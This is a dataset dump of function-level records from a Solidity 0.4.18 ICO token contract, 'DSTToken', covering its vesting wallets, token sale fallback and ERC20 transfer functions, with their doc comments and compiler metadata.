function startStopICO(bool status) onlyOwner external{
startStop = status;
}
function addWalletAddressAndTokens(uint _id, address _walletAddress, uint256 _tokens) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
balances[_walletAddress] = safeAdd(balances[_walletAddress],_tokens); // wallet tokens initialize
}
// function preAllocation(uint256 _walletId, uint256 _tokens) onlyOwner external{
// require(_tokens > 0);
// balances[walletAddresses[_walletId]] = safeAdd(balances[walletAddresses[_walletId]],_tokens); // wallet tokens initialize
// }
function addWalletConfig(uint256 _id, uint256 _start, uint256 _cliff, uint256 _duration) onlyOwner external{
uint256 start = safeAdd(_start,now);
uint256 cliff = safeAdd(start,_cliff);
allWalletConfig[_id] = WalletConfig(
start,
cliff,
_duration
);
}
function assignToken(address _investor,uint256 _tokens) external {
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, _tokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletA[_investor] = safeAdd(walletA[_investor],_tokens);
}
else if(msg.sender == walletAddresses[1]){
walletB[_investor] = safeAdd(walletB[_investor],_tokens);
}
else if(msg.sender == walletAddresses[2]){
walletC[_investor] = safeAdd(walletC[_investor],_tokens);
}
else if(msg.sender == walletAddresses[5]){
walletF[_investor] = safeAdd(walletF[_investor],_tokens);
}
else if(msg.sender == walletAddresses[6]){
walletG[_investor] = safeAdd(walletG[_investor],_tokens);
}
else if(msg.sender == walletAddresses[7]){
walletH[_investor] = safeAdd(walletH[_investor],_tokens);
}
else{
revert();
}
}
function assignTokenIJK(address _userAddress,uint256 _tokens) external {
require(msg.sender == walletAddresses[8] || msg.sender == walletAddresses[9] || msg.sender == walletAddresses[10]);
// Check investor address and tokens.Not allow 0 value
require(_userAddress != address(0) && _tokens > 0);
// Assign tokens to the investor
assignTokensWallet(msg.sender,_userAddress, _tokens);
}
function withdrawToken() public {
//require(walletA[msg.sender] > 0 || walletB[msg.sender] > 0 || walletC[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletA[msg.sender] > 0){
uint256 unreleasedA = getReleasableAmount(0,msg.sender);
walletA[msg.sender] = safeSub(walletA[msg.sender], unreleasedA);
currentBalance = safeAdd(currentBalance, unreleasedA);
releasedA[msg.sender] = safeAdd(releasedA[msg.sender], unreleasedA);
}
if(walletB[msg.sender] > 0){
uint256 unreleasedB = getReleasableAmount(1,msg.sender);
walletB[msg.sender] = safeSub(walletB[msg.sender], unreleasedB);
currentBalance = safeAdd(currentBalance, unreleasedB);
releasedB[msg.sender] = safeAdd(releasedB[msg.sender], unreleasedB);
}
if(walletC[msg.sender] > 0){
uint256 unreleasedC = getReleasableAmount(2,msg.sender);
walletC[msg.sender] = safeSub(walletC[msg.sender], unreleasedC);
currentBalance = safeAdd(currentBalance, unreleasedC);
releasedC[msg.sender] = safeAdd(releasedC[msg.sender], unreleasedC);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function withdrawBonusToken() public {
//require(walletF[msg.sender] > 0 || walletG[msg.sender] > 0 || walletH[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletF[msg.sender] > 0){
uint256 unreleasedF = getReleasableBonusAmount(5,msg.sender);
walletF[msg.sender] = safeSub(walletF[msg.sender], unreleasedF);
currentBalance = safeAdd(currentBalance, unreleasedF);
releasedF[msg.sender] = safeAdd(releasedF[msg.sender], unreleasedF);
}
if(walletG[msg.sender] > 0){
uint256 unreleasedG = getReleasableBonusAmount(6,msg.sender);
walletG[msg.sender] = safeSub(walletG[msg.sender], unreleasedG);
currentBalance = safeAdd(currentBalance, unreleasedG);
releasedG[msg.sender] = safeAdd(releasedG[msg.sender], unreleasedG);
}
if(walletH[msg.sender] > 0){
uint256 unreleasedH = getReleasableBonusAmount(7,msg.sender);
walletH[msg.sender] = safeSub(walletH[msg.sender], unreleasedH);
currentBalance = safeAdd(currentBalance, unreleasedH);
releasedH[msg.sender] = safeAdd(releasedH[msg.sender], unreleasedH);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function getReleasableAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 0){
totalBalance = safeAdd(walletA[_beneficiary], releasedA[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedA[_beneficiary]);
}
else if(_walletId == 1){
totalBalance = safeAdd(walletB[_beneficiary], releasedB[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedB[_beneficiary]);
}
else if(_walletId == 2){
totalBalance = safeAdd(walletC[_beneficiary], releasedC[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedC[_beneficiary]);
}
else{
revert();
}
}
function getReleasableBonusAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 5){
totalBalance = safeAdd(walletF[_beneficiary], releasedF[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedF[_beneficiary]);
}
else if(_walletId == 6){
totalBalance = safeAdd(walletG[_beneficiary], releasedG[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedG[_beneficiary]);
}
else if(_walletId == 7){
totalBalance = safeAdd(walletH[_beneficiary], releasedH[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedH[_beneficiary]);
}
else{
revert();
}
}
function getData(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 availableBalanceIn = safeDiv(safeMul(_totalBalance, safeSub(allWalletConfig[_walletId].cliff, allWalletConfig[_walletId].start)), allWalletConfig[_walletId].duration);
return safeMul(availableBalanceIn, safeDiv(getVestedAmount(_walletId,_totalBalance), availableBalanceIn));
}
function getVestedAmount(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 cliff = allWalletConfig[_walletId].cliff;
uint256 start = allWalletConfig[_walletId].start;
uint256 duration = allWalletConfig[_walletId].duration;
if (now < cliff) {
return 0;
} else if (now >= safeAdd(start,duration)) {
return _totalBalance;
} else {
return safeDiv(safeMul(_totalBalance,safeSub(now,start)),duration);
}
}
// Sale of the tokens. Investors can call this method to invest into DST Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
// Sorry !! We only allow to invest with minimum 1 Ether as value
require(msg.value >= 1 ether);
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[3],msg.sender, createdTokens);
}
// DST accepts Cash Investment through manual process in Fiat Currency
// DST Team will assign the tokens to investors manually through this function
//@ param cashInvestor address of investor
//@ param assignedTokens number of tokens to give to investor
function cashInvestment(address cashInvestor, uint256 assignedTokens) onlyOwner external {
// Check if cashInvestor address is set or not
// By mistake tokens mentioned as 0, save the cost of assigning tokens.
require(cashInvestor != address(0) && assignedTokens > 0);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[4],cashInvestor, assignedTokens);
}
// // Function will transfer the tokens to investor's address
// // Common function code for Crowdsale Investor And Cash Investor
// function assignTokens(address investor, uint256 tokens) internal {
// // Creating tokens and increasing the totalSupply
// totalSupply = safeAdd(totalSupply, tokens);
// // Assign new tokens to the sender
// balances[investor] = safeAdd(balances[investor], tokens);
// // Finally token created for sender, log the creation event
// Transfer(0, investor, tokens);
// }
// Function will transfer the tokens to investor's address
// Common function code for Crowdsale Investor And Cash Investor
function assignTokensWallet(address walletAddress,address investor, uint256 tokens) internal {
// Check wallet have enough token balance to assign
require(tokens <= balances[walletAddress]);
// Creating tokens and increasing the totalSupply
totalSupply = safeAdd(totalSupply, tokens);
// Debit the tokens from wallet
balances[walletAddress] = safeSub(balances[walletAddress],tokens);
// Assign new tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token created for sender, log the creation event
Transfer(0, investor, tokens);
}
function finalizeCrowdSale() external{
// Check DST Multisig wallet set or not
require(DSTMultisig != address(0));
// Send fund to multisig wallet
require(DSTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` DST tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of DST tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` DST tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of miBoodle to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// This method is only use for debit DSTToken from DST wallet L,M,N and O
// @dev Required state: is dstWalletLMNO set
// @param _walletAddress The address of the wallet from tokens debit
// @param token The number of DST tokens to debit
// @return Whether the debit was successful or not
function debitWalletLMNO(address _walletAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check wallet have enough token and token is valid
require(balances[_walletAddress] >= token && token > 0);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, token);
// Debit tokens from wallet balance
balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// This method is only use for credit DSTToken to DST wallet L,M,N and O users
// @dev Required state: is dstWalletLMNO set
// @param claimAddress The address of the wallet user to credit tokens
// @param token The number of DST tokens to credit
// @return Whether the credit was successful or not
function creditWalletUserLMNO(address claimAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check claiment address and token is valid or not
require(claimAddress != address(0) && token > 0);
// Assign tokens to user
balances[claimAddress] = safeAdd(balances[claimAddress], token);
// balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// DSTWalletLMNO related modifer
// @dev Throws if called by any account other than the DSTWalletLMNO owner
modifier onlyDSTWalletLMNO() {
require(msg.sender == dstWalletLMNO);
_;
}
} | transfer | function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
| // Transfer `value` DST tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of DST tokens to transfer
// @return Whether the transfer was successful or not | LineComment | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
14282,
14840
]
} | 8,961 |
|||
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | DSTToken | contract DSTToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Decentralize Silver Token";
string public constant symbol = "DST";
uint256 public constant decimals = 18; // decimal places
uint256 public tokensPerEther = 1500;
// MultiSig Wallet Address
address public DSTMultisig;
// Wallet L,M,N and O address
address dstWalletLMNO;
bool public startStop = false;
mapping (address => uint256) public walletA;
mapping (address => uint256) public walletB;
mapping (address => uint256) public walletC;
mapping (address => uint256) public walletF;
mapping (address => uint256) public walletG;
mapping (address => uint256) public walletH;
mapping (address => uint256) public releasedA;
mapping (address => uint256) public releasedB;
mapping (address => uint256) public releasedC;
mapping (address => uint256) public releasedF;
mapping (address => uint256) public releasedG;
mapping (address => uint256) public releasedH;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
struct WalletConfig{
uint256 start;
uint256 cliff;
uint256 duration;
}
mapping (uint => address) public walletAddresses;
mapping (uint => WalletConfig) public allWalletConfig;
// @param _dstWalletLMNO Ether Address for wallet L,M,N and O
// Only to be called by Owner of this contract
function setDSTWalletLMNO(address _dstWalletLMNO) onlyOwner external{
require(_dstWalletLMNO != address(0));
dstWalletLMNO = _dstWalletLMNO;
}
// Owner can Set Multisig wallet
// @param _dstMultisig address of Multisig wallet.
function setDSTMultiSig(address _dstMultisig) onlyOwner external{
require(_dstMultisig != address(0));
DSTMultisig = _dstMultisig;
}
function startStopICO(bool status) onlyOwner external{
startStop = status;
}
function addWalletAddressAndTokens(uint _id, address _walletAddress, uint256 _tokens) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
balances[_walletAddress] = safeAdd(balances[_walletAddress],_tokens); // wallet tokens initialize
}
// function preAllocation(uint256 _walletId, uint256 _tokens) onlyOwner external{
// require(_tokens > 0);
// balances[walletAddresses[_walletId]] = safeAdd(balances[walletAddresses[_walletId]],_tokens); // wallet tokens initialize
// }
function addWalletConfig(uint256 _id, uint256 _start, uint256 _cliff, uint256 _duration) onlyOwner external{
uint256 start = safeAdd(_start,now);
uint256 cliff = safeAdd(start,_cliff);
allWalletConfig[_id] = WalletConfig(
start,
cliff,
_duration
);
}
function assignToken(address _investor,uint256 _tokens) external {
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, _tokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletA[_investor] = safeAdd(walletA[_investor],_tokens);
}
else if(msg.sender == walletAddresses[1]){
walletB[_investor] = safeAdd(walletB[_investor],_tokens);
}
else if(msg.sender == walletAddresses[2]){
walletC[_investor] = safeAdd(walletC[_investor],_tokens);
}
else if(msg.sender == walletAddresses[5]){
walletF[_investor] = safeAdd(walletF[_investor],_tokens);
}
else if(msg.sender == walletAddresses[6]){
walletG[_investor] = safeAdd(walletG[_investor],_tokens);
}
else if(msg.sender == walletAddresses[7]){
walletH[_investor] = safeAdd(walletH[_investor],_tokens);
}
else{
revert();
}
}
function assignTokenIJK(address _userAddress,uint256 _tokens) external {
require(msg.sender == walletAddresses[8] || msg.sender == walletAddresses[9] || msg.sender == walletAddresses[10]);
// Check investor address and tokens.Not allow 0 value
require(_userAddress != address(0) && _tokens > 0);
// Assign tokens to the investor
assignTokensWallet(msg.sender,_userAddress, _tokens);
}
function withdrawToken() public {
//require(walletA[msg.sender] > 0 || walletB[msg.sender] > 0 || walletC[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletA[msg.sender] > 0){
uint256 unreleasedA = getReleasableAmount(0,msg.sender);
walletA[msg.sender] = safeSub(walletA[msg.sender], unreleasedA);
currentBalance = safeAdd(currentBalance, unreleasedA);
releasedA[msg.sender] = safeAdd(releasedA[msg.sender], unreleasedA);
}
if(walletB[msg.sender] > 0){
uint256 unreleasedB = getReleasableAmount(1,msg.sender);
walletB[msg.sender] = safeSub(walletB[msg.sender], unreleasedB);
currentBalance = safeAdd(currentBalance, unreleasedB);
releasedB[msg.sender] = safeAdd(releasedB[msg.sender], unreleasedB);
}
if(walletC[msg.sender] > 0){
uint256 unreleasedC = getReleasableAmount(2,msg.sender);
walletC[msg.sender] = safeSub(walletC[msg.sender], unreleasedC);
currentBalance = safeAdd(currentBalance, unreleasedC);
releasedC[msg.sender] = safeAdd(releasedC[msg.sender], unreleasedC);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function withdrawBonusToken() public {
//require(walletF[msg.sender] > 0 || walletG[msg.sender] > 0 || walletH[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletF[msg.sender] > 0){
uint256 unreleasedF = getReleasableBonusAmount(5,msg.sender);
walletF[msg.sender] = safeSub(walletF[msg.sender], unreleasedF);
currentBalance = safeAdd(currentBalance, unreleasedF);
releasedF[msg.sender] = safeAdd(releasedF[msg.sender], unreleasedF);
}
if(walletG[msg.sender] > 0){
uint256 unreleasedG = getReleasableBonusAmount(6,msg.sender);
walletG[msg.sender] = safeSub(walletG[msg.sender], unreleasedG);
currentBalance = safeAdd(currentBalance, unreleasedG);
releasedG[msg.sender] = safeAdd(releasedG[msg.sender], unreleasedG);
}
if(walletH[msg.sender] > 0){
uint256 unreleasedH = getReleasableBonusAmount(7,msg.sender);
walletH[msg.sender] = safeSub(walletH[msg.sender], unreleasedH);
currentBalance = safeAdd(currentBalance, unreleasedH);
releasedH[msg.sender] = safeAdd(releasedH[msg.sender], unreleasedH);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function getReleasableAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 0){
totalBalance = safeAdd(walletA[_beneficiary], releasedA[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedA[_beneficiary]);
}
else if(_walletId == 1){
totalBalance = safeAdd(walletB[_beneficiary], releasedB[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedB[_beneficiary]);
}
else if(_walletId == 2){
totalBalance = safeAdd(walletC[_beneficiary], releasedC[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedC[_beneficiary]);
}
else{
revert();
}
}
function getReleasableBonusAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 5){
totalBalance = safeAdd(walletF[_beneficiary], releasedF[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedF[_beneficiary]);
}
else if(_walletId == 6){
totalBalance = safeAdd(walletG[_beneficiary], releasedG[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedG[_beneficiary]);
}
else if(_walletId == 7){
totalBalance = safeAdd(walletH[_beneficiary], releasedH[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedH[_beneficiary]);
}
else{
revert();
}
}
function getData(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 availableBalanceIn = safeDiv(safeMul(_totalBalance, safeSub(allWalletConfig[_walletId].cliff, allWalletConfig[_walletId].start)), allWalletConfig[_walletId].duration);
return safeMul(availableBalanceIn, safeDiv(getVestedAmount(_walletId,_totalBalance), availableBalanceIn));
}
function getVestedAmount(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 cliff = allWalletConfig[_walletId].cliff;
uint256 start = allWalletConfig[_walletId].start;
uint256 duration = allWalletConfig[_walletId].duration;
if (now < cliff) {
return 0;
} else if (now >= safeAdd(start,duration)) {
return _totalBalance;
} else {
return safeDiv(safeMul(_totalBalance,safeSub(now,start)),duration);
}
}
// Sale of the tokens. Investors can call this method to invest into DST Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
// Sorry !! We only allow to invest with minimum 1 Ether as value
require(msg.value >= 1 ether);
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[3],msg.sender, createdTokens);
}
// DST accepts Cash Investment through manual process in Fiat Currency
// DST Team will assign the tokens to investors manually through this function
//@ param cashInvestor address of investor
//@ param assignedTokens number of tokens to give to investor
function cashInvestment(address cashInvestor, uint256 assignedTokens) onlyOwner external {
// Check if cashInvestor address is set or not
// By mistake tokens mentioned as 0, save the cost of assigning tokens.
require(cashInvestor != address(0) && assignedTokens > 0);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[4],cashInvestor, assignedTokens);
}
// // Function will transfer the tokens to investor's address
// // Common function code for Crowdsale Investor And Cash Investor
// function assignTokens(address investor, uint256 tokens) internal {
// // Creating tokens and increasing the totalSupply
// totalSupply = safeAdd(totalSupply, tokens);
// // Assign new tokens to the sender
// balances[investor] = safeAdd(balances[investor], tokens);
// // Finally token created for sender, log the creation event
// Transfer(0, investor, tokens);
// }
// Function will transfer the tokens to investor's address
// Common function code for Crowdsale Investor And Cash Investor
function assignTokensWallet(address walletAddress,address investor, uint256 tokens) internal {
// Check wallet have enough token balance to assign
require(tokens <= balances[walletAddress]);
// Creating tokens and increasing the totalSupply
totalSupply = safeAdd(totalSupply, tokens);
// Debit the tokens from wallet
balances[walletAddress] = safeSub(balances[walletAddress],tokens);
// Assign new tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token created for sender, log the creation event
Transfer(0, investor, tokens);
}
function finalizeCrowdSale() external{
// Check DST Multisig wallet set or not
require(DSTMultisig != address(0));
// Send fund to multisig wallet
require(DSTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` DST tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of DST tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` DST tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of miBoodle to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// This method is only use for debit DSTToken from DST wallet L,M,N and O
// @dev Required state: is dstWalletLMNO set
// @param _walletAddress The address of the wallet from tokens debit
// @param token The number of DST tokens to debit
// @return Whether the debit was successful or not
function debitWalletLMNO(address _walletAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check wallet have enough token and token is valid
require(balances[_walletAddress] >= token && token > 0);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, token);
// Debit tokens from wallet balance
balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// This method is only use for credit DSTToken to DST wallet L,M,N and O users
// @dev Required state: is dstWalletLMNO set
// @param claimAddress The address of the wallet user to credit tokens
// @param token The number of DST tokens to credit
// @return Whether the credit was successful or not
function creditWalletUserLMNO(address claimAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check claiment address and token is valid or not
require(claimAddress != address(0) && token > 0);
// Assign tokens to user
balances[claimAddress] = safeAdd(balances[claimAddress], token);
// balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// DSTWalletLMNO related modifer
// @dev Throws if called by any account other than the DSTWalletLMNO owner
modifier onlyDSTWalletLMNO() {
require(msg.sender == dstWalletLMNO);
_;
}
} | transferFrom | function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
| // Transfer `value` DST tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of miBoodle to transfer
// @return Whether the transfer was successful or not | LineComment | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
15149,
15818
]
} | 8,962 |
|||
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | DSTToken | contract DSTToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Decentralize Silver Token";
string public constant symbol = "DST";
uint256 public constant decimals = 18; // decimal places
uint256 public tokensPerEther = 1500;
// MultiSig Wallet Address
address public DSTMultisig;
// Wallet L,M,N and O address
address dstWalletLMNO;
bool public startStop = false;
mapping (address => uint256) public walletA;
mapping (address => uint256) public walletB;
mapping (address => uint256) public walletC;
mapping (address => uint256) public walletF;
mapping (address => uint256) public walletG;
mapping (address => uint256) public walletH;
mapping (address => uint256) public releasedA;
mapping (address => uint256) public releasedB;
mapping (address => uint256) public releasedC;
mapping (address => uint256) public releasedF;
mapping (address => uint256) public releasedG;
mapping (address => uint256) public releasedH;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
struct WalletConfig{
uint256 start;
uint256 cliff;
uint256 duration;
}
mapping (uint => address) public walletAddresses;
mapping (uint => WalletConfig) public allWalletConfig;
// @param _dstWalletLMNO Ether Address for wallet L,M,N and O
// Only to be called by Owner of this contract
function setDSTWalletLMNO(address _dstWalletLMNO) onlyOwner external{
require(_dstWalletLMNO != address(0));
dstWalletLMNO = _dstWalletLMNO;
}
// Owner can Set Multisig wallet
// @param _dstMultisig address of Multisig wallet.
function setDSTMultiSig(address _dstMultisig) onlyOwner external{
require(_dstMultisig != address(0));
DSTMultisig = _dstMultisig;
}
function startStopICO(bool status) onlyOwner external{
startStop = status;
}
function addWalletAddressAndTokens(uint _id, address _walletAddress, uint256 _tokens) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
balances[_walletAddress] = safeAdd(balances[_walletAddress],_tokens); // wallet tokens initialize
}
// function preAllocation(uint256 _walletId, uint256 _tokens) onlyOwner external{
// require(_tokens > 0);
// balances[walletAddresses[_walletId]] = safeAdd(balances[walletAddresses[_walletId]],_tokens); // wallet tokens initialize
// }
function addWalletConfig(uint256 _id, uint256 _start, uint256 _cliff, uint256 _duration) onlyOwner external{
uint256 start = safeAdd(_start,now);
uint256 cliff = safeAdd(start,_cliff);
allWalletConfig[_id] = WalletConfig(
start,
cliff,
_duration
);
}
function assignToken(address _investor,uint256 _tokens) external {
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, _tokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletA[_investor] = safeAdd(walletA[_investor],_tokens);
}
else if(msg.sender == walletAddresses[1]){
walletB[_investor] = safeAdd(walletB[_investor],_tokens);
}
else if(msg.sender == walletAddresses[2]){
walletC[_investor] = safeAdd(walletC[_investor],_tokens);
}
else if(msg.sender == walletAddresses[5]){
walletF[_investor] = safeAdd(walletF[_investor],_tokens);
}
else if(msg.sender == walletAddresses[6]){
walletG[_investor] = safeAdd(walletG[_investor],_tokens);
}
else if(msg.sender == walletAddresses[7]){
walletH[_investor] = safeAdd(walletH[_investor],_tokens);
}
else{
revert();
}
}
function assignTokenIJK(address _userAddress,uint256 _tokens) external {
require(msg.sender == walletAddresses[8] || msg.sender == walletAddresses[9] || msg.sender == walletAddresses[10]);
// Check investor address and tokens.Not allow 0 value
require(_userAddress != address(0) && _tokens > 0);
// Assign tokens to the investor
assignTokensWallet(msg.sender,_userAddress, _tokens);
}
